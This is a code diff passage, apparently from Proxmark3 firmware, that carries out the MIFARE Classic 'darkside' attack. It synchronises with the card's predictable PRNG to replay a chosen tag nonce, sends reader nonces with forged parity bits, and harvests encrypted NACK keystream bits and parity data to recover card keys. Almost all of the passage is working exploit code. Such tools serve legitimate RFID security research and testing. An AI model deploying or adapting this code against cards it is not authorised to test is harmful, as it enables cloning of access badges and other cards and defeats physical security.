+ #define MAX_UNEXPECTED_RANDOM 4 // maximum number of unexpected (i.e. real) random numbers when trying to sync. Then give up.
+ #define MAX_SYNC_TRIES 32
+ #define SYNC_TIME_BUFFER 16 // if there is only SYNC_TIME_BUFFER left before next planned sync, wait for next PRNG cycle
+ #define NUM_DEBUG_INFOS 8 // per strategy
+ #define MAX_STRATEGY 3
+ uint16_t unexpected_random = 0;
+ uint16_t sync_tries = 0;
+ int16_t debug_info_nr = -1;
+ uint16_t strategy = 0;
+ int32_t debug_info[MAX_STRATEGY][NUM_DEBUG_INFOS];
+ uint32_t select_time;
+ uint32_t halt_time;
+
+ for (uint16_t i = 0; true; i++) {
+
+ LED_C_ON();
+ WDT_HIT();
+
+ // Test if the action was cancelled
+ if(BUTTON_PRESS()) {
+ isOK = -1;
+ break;
+ }
+
+ if (strategy == 2) {
+ // test with additional hlt command
+ halt_time = 0;
+ int len = mifare_sendcmd_short(NULL, false, 0x50, 0x00, receivedAnswer, receivedAnswerPar, &halt_time);
+ if (len && MF_DBGLEVEL >= 3) {
+ Dbprintf("Unexpected response of %d bytes to hlt command (additional debugging).", len);
+ }
+ }
+
+ if (strategy == 3) {
+ // test with FPGA power off/on
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+ SpinDelay(200);
+ iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD);
+ SpinDelay(100);
+ }
+
+ if(!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
+ if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card");
+ continue;
+ }
+ select_time = GetCountSspClk();
+
+ elapsed_prng_sequences = 1;
+ if (debug_info_nr == -1) {
+ sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles;
+ catch_up_cycles = 0;
+
+ // if we missed the sync time already or are about to miss it, advance to the next nonce repeat
+ while(sync_time < GetCountSspClk() + SYNC_TIME_BUFFER) {
+ elapsed_prng_sequences++;
+ sync_time = (sync_time & 0xfffffff8) + sync_cycles;
+ }
+
+ // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked)
+ ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
+ } else {
+ // collect some information on tag nonces for debugging:
+ #define DEBUG_FIXED_SYNC_CYCLES PRNG_SEQUENCE_LENGTH
+ if (strategy == 0) {
+ // nonce distances at fixed time after card select:
+ sync_time = select_time + DEBUG_FIXED_SYNC_CYCLES;
+ } else if (strategy == 1) {
+ // nonce distances at fixed time between authentications:
+ sync_time = sync_time + DEBUG_FIXED_SYNC_CYCLES;
+ } else if (strategy == 2) {
+ // nonce distances at fixed time after halt:
+ sync_time = halt_time + DEBUG_FIXED_SYNC_CYCLES;
+ } else {
+ // nonce_distances at fixed time after power on
+ sync_time = DEBUG_FIXED_SYNC_CYCLES;
+ }
+ ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
+ }
+
+ // Receive the (4 Byte) "random" nonce
+ if (!ReaderReceive(receivedAnswer, receivedAnswerPar)) {
+ if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Couldn't receive tag nonce");
+ continue;
+ }
+
+ previous_nt = nt;
+ nt = bytes_to_num(receivedAnswer, 4);
+
+ // Transmit reader nonce with fake par
+ ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);
+
+ if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet
+ int nt_distance = dist_nt(previous_nt, nt);
+ if (nt_distance == 0) {
+ nt_attacked = nt;
+ } else {
+ if (nt_distance == -99999) { // invalid nonce received
+ unexpected_random++;
+ if (unexpected_random > MAX_UNEXPECTED_RANDOM) {
+ isOK = -3; // Card has an unpredictable PRNG. Give up
+ break;
+ } else {
+ continue; // continue trying...
+ }
+ }
+ if (++sync_tries > MAX_SYNC_TRIES) {
+ if (strategy > MAX_STRATEGY || MF_DBGLEVEL < 3) {
+ isOK = -4; // Card's PRNG runs at an unexpected frequency or resets unexpectedly
+ break;
+ } else { // continue for a while, just to collect some debug info
+ debug_info[strategy][debug_info_nr] = nt_distance;
+ debug_info_nr++;
+ if (debug_info_nr == NUM_DEBUG_INFOS) {
+ strategy++;
+ debug_info_nr = 0;
+ }
+ continue;
+ }
+ }
+ sync_cycles = (sync_cycles - nt_distance/elapsed_prng_sequences);
+ if (sync_cycles <= 0) {
+ sync_cycles += PRNG_SEQUENCE_LENGTH;
+ }
+ if (MF_DBGLEVEL >= 3) {
+ Dbprintf("calibrating in cycle %d. nt_distance=%d, elapsed_prng_sequences=%d, new sync_cycles: %d\n", i, nt_distance, elapsed_prng_sequences, sync_cycles);
+ }
+ continue;
+ }
+ }
+
+ if ((nt != nt_attacked) && nt_attacked) { // we somehow lost sync. Try to catch up again...
+ catch_up_cycles = -dist_nt(nt_attacked, nt);
+ if (catch_up_cycles == 99999) { // invalid nonce received. Don't resync on that one.
+ catch_up_cycles = 0;
+ continue;
+ }
+ catch_up_cycles /= elapsed_prng_sequences;
+ if (catch_up_cycles == last_catch_up) {
+ consecutive_resyncs++;
+ }
+ else {
+ last_catch_up = catch_up_cycles;
+ consecutive_resyncs = 0;
+ }
+ if (consecutive_resyncs < 3) {
+ if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs);
+ }
+ else {
+ sync_cycles = sync_cycles + catch_up_cycles;
+ if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
+ last_catch_up = 0;
+ catch_up_cycles = 0;
+ consecutive_resyncs = 0;
+ }
+ continue;
+ }
+
+ consecutive_resyncs = 0;
+
+ // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
+ if (ReaderReceive(receivedAnswer, receivedAnswerPar)) {
+ catch_up_cycles = 8; // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer
+
+ if (nt_diff == 0) {
+ par_low = par[0] & 0xE0; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
+ }
+
+ led_on = !led_on;
+ if(led_on) LED_B_ON(); else LED_B_OFF();
+
+ par_list[nt_diff] = SwapBits(par[0], 8);
+ ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
+
+ // Test if the information is complete
+ if (nt_diff == 0x07) {
+ isOK = 1;
+ break;
+ }
+
+ nt_diff = (nt_diff + 1) & 0x07;
+ mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5);
+ par[0] = par_low;
+ } else {
+ if (nt_diff == 0 && first_try)
+ {
+ par[0]++;
+ if (par[0] == 0x00) { // tried all 256 possible parities without success. Card doesn't send NACK.
+ isOK = -2;
+ break;
+ }
+ } else {
+ par[0] = ((par[0] & 0x1F) + 1) | par_low;
+ }
+ }
+ }
+
+
+ mf_nr_ar[3] &= 0x1F;
+
+ if (isOK == -4) {
+ if (MF_DBGLEVEL >= 3) {
+ for (uint16_t i = 0; i <= MAX_STRATEGY; i++) {
+ for (uint16_t j = 0; j < NUM_DEBUG_INFOS; j++) {
+ Dbprintf("collected debug info[%d][%d] = %d", i, j, debug_info[i][j]);
+ }
+ }
+ }
+ }
+
+ FpgaDisableTracing();
+
+ uint8_t buf[32];
+ memcpy(buf + 0, uid, 4);
+ num_to_bytes(nt, 4, buf + 4);
+ memcpy(buf + 8, par_list, 8);
+ memcpy(buf + 16, ks_list, 8);
+ memcpy(buf + 24, mf_nr_ar, 8);
+
+ cmd_send(CMD_ACK, isOK, 0, 0, buf, 32);